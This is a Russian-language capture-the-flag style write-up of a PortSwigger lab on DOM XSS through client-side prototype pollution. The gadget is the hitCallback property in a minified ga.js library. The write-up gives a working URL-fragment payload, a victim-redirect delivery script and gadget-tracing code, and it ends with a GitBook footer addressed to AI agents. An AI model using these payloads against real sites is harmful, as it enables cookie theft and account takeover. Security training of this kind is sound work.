> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md).

# Загрязнение прототипа на стороне клиента в сторонних библиотеках

### Загрязнение прототипа на стороне клиента в сторонних библиотеках

#### Контекст лабораторной работы

Этот стенд уязвим к **DOM XSS через клиентское загрязнение прототипа**. / Особенность здесь в том, что уязвимый **гаджет находится в сторонней JavaScript-библиотеке**, код которой **минифицирован**, что усложняет ручной анализ.

Лабораторная работа вдохновлена реальными уязвимостями, выявленными **PortSwigger Research**, в частности в статье Widespread prototype pollution gadgets от **Gareth Heyes**.

Конечная цель:/ \*\* Запустить `alert(document.cookie)` в браузере жертвы\*\*, используя предоставленный сервер эксплойтов.

### Рекомендуемый подход: автоматическая атака с DOM Invader

#### Активация DOM Invader

1. Откройте встроенный браузер, чтобы **Burp Suite**.

<figure><img src="/files/c879f2e763f6544a083c2f3ec83f13da8eca70e8" alt=""><figcaption></figcaption></figure>

* Убедитесь, что **DOM Invader** расширение активно.

<figure><img src="/files/4ea6ed0385c9d92c691a7ef52a451e77f8633ed7" alt=""><figcaption></figcaption></figure>

Включить:

* **DOM Invader включен**
* **Тип атаки: загрязнение прототипа**

<figure><img src="/files/2518a0e106fefc084a00265a85b501d7fb308096" alt=""><figcaption></figcaption></figure>

#### Выявление уязвимого источника

* В **DOM Invader** вкладка, a **источник загрязнения прототипа** автоматически обнаруживается.
* DOM Invader указывает, что загрязнение возможно через \*\* фрагмент URL (`#`)\*\*, а не через обычные настройки (`?`).

<figure><img src="/files/38c8993d728c2c1d0430571d3986d46a81179ef5" alt=""><figcaption></figcaption></figure>

#### Автоматическое обнаружение гаджета

1. Запустите **Сканировать на наличие гаджетов** с помощью DOM Invader.

<figure><img src="/files/22c7ecc3d1d64b9d1eb127290cf3b2d440ccdc48" alt=""><figcaption></figcaption></figure>

В сторонней библиотеке обнаружен эксплуатируемый гаджет.

Нажав **Эксплойт**, DOM Invader подтверждает выполнение с помощью `alert(1)`.

<figure><img src="/files/d6e4d48f34f99c5cc1ad38479790816e244b7af3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/40dc57cb0881ff902e1463e792a613c60ff35d48" alt=""><figcaption></figcaption></figure>

#### Итоговый payload (document.cookie)

Payload, определённый DOM Invader:

```javascript
#constructor[prototype][hitCallback]=alert%28document.cookie%29
```

Этот payload вызывает alert с cookies

<figure><img src="/files/866ea609fe357f201ba035d61631b0a21d1dd547" alt=""><figcaption></figcaption></figure>

#### Доставка эксплойта жертве

Следующий код отправляется с **работающего сервера**:

```javascript
<script>
    window.location.href = 'https://0aab001004b09f5780ab035a00c40034.web-security-academy.net/#constructor[prototype][hitCallback]=alert%28document.cookie%29';
</script>
```

Когда жертва загружает страницу, JavaScript выполняется в её браузере

### Ручной подход (подробный анализ)

#### Обычные попытки загрязнения (неудача)

Следующие payload \*\* не работают\*\*:

```bash
/?__proto__[foo]=bar
/?__proto__.foo=bar
```

Результат

```javascript
console.log({}.foo); // undefined
```

<figure><img src="/files/fde36de0002ec2cf948db814289fbcabe4106322" alt=""><figcaption></figcaption></figure>

#### Загрязнение через фрагмент URL (успех)

Однако загрязнение \*\* работает с `#`\*\*:

```javascript
#__proto__[foo]=bar
#__proto__.foo=bar
```

Это указывает, что уязвимый источник обрабатывает фрагмент URL

<figure><img src="/files/31f8719466887841177f9f55868cc490927c411a" alt="" width="563"><figcaption></figcaption></figure>

#### Анализ сторонней библиотеки

* Загружается большой файл:

/resources/js/ga.js

Около 3000 строк, минифицированный код.

* Этот файл содержит callback с именем hitCallback, используемый без строгой проверки.

<figure><img src="/files/331741434cd5154cb95155f6c3b78dd312bfc8ce" alt=""><figcaption></figcaption></figure>

### Ручное выявление гаджета

#### Техника трассировки с помощью `Object.defineProperty`

Чтобы найти свойства, читаемые в `Object.prototype`, мы внедряем:

```javascript
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

#### Остановка выполнения JavaScript

<figure><img src="/files/5454243a38cd3a416821b6917dddc429e61f3147" alt=""><figcaption></figcaption></figure>

Перехватывая HTML-ответ, мы внедряем:

```javascript
<script>
    debugger;
</script>
```

<figure><img src="/files/10ae43f27e6de5f99c2249f45d88b315bfc350e9" alt=""><figcaption></figcaption></figure>

Браузер останавливается на \*\*

<figure><img src="/files/f629c7f7c41e4aa60cb837ddc6db9ec1dc9e16ed" alt=""><figcaption></figcaption></figure>

#### Проверка кандидатных свойств

Пример с неиспользуемым свойством

```javascript
Object.defineProperty(Object.prototype, 'anonymizeIp', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

Никакой интересной трассировки.

<figure><img src="/files/84cadf6970b341f7cca856135893bdd0d5d9b4e3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f101ec512130a7c8ce858f45931602bdd397acd2" alt=""><figcaption></figcaption></figure>

#### Обнаружение подходящего гаджета: `hitCallback`

```javascript
Object.defineProperty(Object.prototype, 'hitCallback', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

Результат:

* `console.trace()` показывает цепочку вызовов из `ga.js`
* Свойство корректно **считывается и выполняется как функция**

Такое поведение подтверждает, что `hitCallback` вызывается как JavaScript-коллбэк

```javascript
console.trace() debugger eval code:3:17
    get debugger eval code:3
    get https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Vc https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
    j https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Fa https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:63
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    O https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:36
    push https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:33
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    Fe https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
```

<figure><img src="/files/20a3f1cbe30e406e8eb68bf6afa2ef046696032d" alt=""><figcaption></figcaption></figure>

Такое поведение подтверждает, что `hitCallback` вызывается как JavaScript-коллбэк

```javascript
Необработанная ReferenceError: polluted не определён
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
```

<figure><img src="/files/32d66ef6df96b78d5dc46e5dd369c0dc9ed8f10f" alt=""><figcaption></figcaption></figure>

* У `hitCallback` гаджет позволяет произвольное \*\* выполнение JavaScript\*\*, что приводит к **DOM XSS**.

```javascript
Zc.prototype.stopPropagation = function () {
      throw 'aborted';
    };
    var Vc = function (a) {
      var b = this;
      this.fb = 0;
      var c = a.get(tc);
      this.Ua = function () {
        0 < b.fb &&
        c &&
        (b.fb--, b.fb || c())
      };
      this.Ja = function () {
        !b.fb &&
        c &&
        setTimeout(c, 10)
      };
      a.set(uc, b, !0)
    };
```

<figure><img src="/files/3850809cf8c718907c758bb92acc8b46692d4338" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
